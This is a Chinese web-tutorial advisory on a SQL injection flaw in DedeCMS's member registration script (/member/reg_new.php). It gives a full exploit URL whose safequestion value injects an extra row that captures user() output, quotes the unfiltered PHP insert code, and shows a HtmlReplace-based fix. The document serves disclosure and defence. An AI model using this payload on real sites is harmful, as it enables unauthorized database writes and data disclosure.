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dedecms织梦 /member/reg_new.php SQL注入漏洞

2019-06-28来源：【网站建设教程】人已围观

简介 1. 漏洞描述 Dedecms会员中心注入漏洞 2. 漏洞触发条件
/member/reg_new.php?dopost=regbase&step=1&mtype=%B8%F6%C8%CB&mtype=%B8%F6%C8%CB&userid=123a

1. 漏洞描述 Dedecms会员中心注入漏洞 2. 漏洞触发条件

/member/reg_new.php?dopost=regbase&step=1&mtype=%B8%F6%C8%CB&mtype=%B8%F6%C8%CB&userid=123asd123&uname=12asd13123&userpwd=123123&userpwdok=123123&email=1213asd123%40QQ.COM&safequestion=1','1111111111111','1389701121','127.0.0.1','1389701121','127.0.0.1'),('个人',user(),'4297f44b13955235245b2497399d7a93','12as11111111111111111d13123','','10','0','1213asd11111111111123@QQ.COM','100', '0','-10','','1&safeanswer=1111111111111&sex=&vdcode=slum&agree=//把vdcode=slum改成当前的验证码

3. 漏洞影响范围
4. 漏洞代码分析 /member/reg_new.php

..$jointime = time();$logintime = time();$joinip = GetIP();$loginip = GetIP();$pwd = md5($userpwd); $spaceSta = ($cfg_mb_spacesta < 0 ? $cfg_mb_spacesta : 0);//未对$mtype、$safeanswer、$safequestion进行有效过滤就带入SQL查询$inQuery = "INSERT INTO `dede_member` (`mtype` ,`userid` ,`pwd` ,`uname` ,`sex` ,`rank` ,`money` ,`email` ,`scores` ,`matt`, `spacesta` ,`face`,`safequestion`,`safeanswer` ,`jointime` ,`joinip` ,`logintime` ,`loginip` )VALUES ('$mtype','$userid','$pwd','$uname','$sex','10','$dfmoney','$email','$dfscores','0','$spaceSta','','$safequestion','$safeanswer','$jointime','$joinip','$logintime','$loginip'); "; if($dsql->ExecuteNoneQuery($inQuery))..

5. 防御方法 /member/reg_new.php

..$jointime = time();$logintime = time();$joinip = GetIP();$loginip = GetIP();$pwd = md5($userpwd);/* 对$mtype、$safeanswer、$safequestion进行有效过滤 */    $mtype = HtmlReplace($mtype,1);    $safeanswer = HtmlReplace($safeanswer);    $safequestion = HtmlReplace($safequestion);/* */$spaceSta = ($cfg_mb_spacesta < 0 ? $cfg_mb_spacesta : 0);$inQuery = "INSERT INTO `dede_member` (`mtype` ,`userid` ,`pwd` ,`uname` ,`sex` ,`rank` ,`money` ,`email` ,`scores` ,`matt`, `spacesta` ,`face`,`safequestion`,`safeanswer` ,`jointime` ,`joinip` ,`logintime` ,`loginip` )VALUES ('$mtype','$userid','$pwd','$uname','$sex','10','$dfmoney','$email','$dfscores','0','$spaceSta','','$safequestion','$safeanswer','$jointime','$joinip','$logintime','$loginip'); ";if($dsql->ExecuteNoneQuery($inQuery)){..

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